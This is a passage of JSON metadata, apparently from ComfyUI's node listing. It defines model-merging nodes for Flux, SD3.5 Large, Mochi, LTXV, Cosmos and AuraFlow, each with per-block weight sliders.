"single_layers.13.", "single_layers.14.", "single_layers.15.", "single_layers.16.", "single_layers.17.", "single_layers.18.", "single_layers.19.", "single_layers.20.", "single_layers.21.", "single_layers.22.", "single_layers.23.", "single_layers.24.", "single_layers.25.", "single_layers.26.", "single_layers.27.", "single_layers.28.", "single_layers.29.", "single_layers.30.", "single_layers.31.", "modF.", "final_linear."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeAuraflow", "display_name": "ModelMergeAuraflow", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeFlux1": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "img_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "time_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "guidance_in": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "vector_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txt_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "img_in.", "time_in.", "guidance_in", "vector_in.", "txt_in.", "double_blocks.0.", "double_blocks.1.", "double_blocks.2.", "double_blocks.3.", "double_blocks.4.", "double_blocks.5.", "double_blocks.6.", "double_blocks.7.", "double_blocks.8.", "double_blocks.9.", "double_blocks.10.", "double_blocks.11.", "double_blocks.12.", "double_blocks.13.", "double_blocks.14.", "double_blocks.15.", "double_blocks.16.", "double_blocks.17.", "double_blocks.18.", "single_blocks.0.", "single_blocks.1.", "single_blocks.2.", "single_blocks.3.", "single_blocks.4.", "single_blocks.5.", "single_blocks.6.", "single_blocks.7.", "single_blocks.8.", "single_blocks.9.", "single_blocks.10.", "single_blocks.11.", "single_blocks.12.", "single_blocks.13.", "single_blocks.14.", "single_blocks.15.", "single_blocks.16.", "single_blocks.17.", "single_blocks.18.", "single_blocks.19.", "single_blocks.20.", "single_blocks.21.", "single_blocks.22.", "single_blocks.23.", "single_blocks.24.", "single_blocks.25.", "single_blocks.26.", "single_blocks.27.", "single_blocks.28.", "single_blocks.29.", "single_blocks.30.", "single_blocks.31.", "single_blocks.32.", "single_blocks.33.", "single_blocks.34.", "single_blocks.35.", "single_blocks.36.", "single_blocks.37.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeFlux1", "display_name": "ModelMergeFlux1", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSD35_Large": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "context_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "y_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embed.", "x_embedder.", "context_embedder.", "y_embedder.", "t_embedder.", "joint_blocks.0.", "joint_blocks.1.", "joint_blocks.2.", "joint_blocks.3.", "joint_blocks.4.", "joint_blocks.5.", "joint_blocks.6.", "joint_blocks.7.", "joint_blocks.8.", "joint_blocks.9.", "joint_blocks.10.", "joint_blocks.11.", "joint_blocks.12.", "joint_blocks.13.", "joint_blocks.14.", "joint_blocks.15.", "joint_blocks.16.", "joint_blocks.17.", "joint_blocks.18.", "joint_blocks.19.", "joint_blocks.20.", "joint_blocks.21.", "joint_blocks.22.", "joint_blocks.23.", "joint_blocks.24.", "joint_blocks.25.", "joint_blocks.26.", "joint_blocks.27.", "joint_blocks.28.", "joint_blocks.29.", "joint_blocks.30.", "joint_blocks.31.", "joint_blocks.32.", "joint_blocks.33.", "joint_blocks.34.", "joint_blocks.35.", "joint_blocks.36.", "joint_blocks.37.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSD35_Large", "display_name": "ModelMergeSD35_Large", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeMochiPreview": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_frequencies.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t5_y_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t5_yproj.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.38.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.39.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.40.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.41.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.42.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.43.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.44.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.45.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.46.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.47.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_frequencies.", "t_embedder.", "t5_y_embedder.", "t5_yproj.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "blocks.28.", "blocks.29.", "blocks.30.", "blocks.31.", "blocks.32.", "blocks.33.", "blocks.34.", "blocks.35.", "blocks.36.", "blocks.37.", "blocks.38.", "blocks.39.", "blocks.40.", "blocks.41.", "blocks.42.", "blocks.43.", "blocks.44.", "blocks.45.", "blocks.46.", "blocks.47.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeMochiPreview", "display_name": "ModelMergeMochiPreview", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeLTXV": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "patchify_proj.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "adaln_single.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "caption_projection.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "scale_shift_table": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "proj_out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "patchify_proj.", "adaln_single.", "caption_projection.", "transformer_blocks.0.", "transformer_blocks.1.", "transformer_blocks.2.", "transformer_blocks.3.", "transformer_blocks.4.", "transformer_blocks.5.", "transformer_blocks.6.", "transformer_blocks.7.", "transformer_blocks.8.", "transformer_blocks.9.", "transformer_blocks.10.", "transformer_blocks.11.", "transformer_blocks.12.", "transformer_blocks.13.", "transformer_blocks.14.", "transformer_blocks.15.", "transformer_blocks.16.", "transformer_blocks.17.", "transformer_blocks.18.", "transformer_blocks.19.", "transformer_blocks.20.", "transformer_blocks.21.", "transformer_blocks.22.", "transformer_blocks.23.", "transformer_blocks.24.", "transformer_blocks.25.", "transformer_blocks.26.", "transformer_blocks.27.", "scale_shift_table", "proj_out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeLTXV", "display_name": "ModelMergeLTXV", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeCosmos7B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "extra_pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "affline_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embedder.", "extra_pos_embedder.", "x_embedder.", "t_embedder.", "affline_norm.", "blocks.block0.", "blocks.block1.", "blocks.block2.", "blocks.block3.", "blocks.block4.", "blocks.block5.", "blocks.block6.", 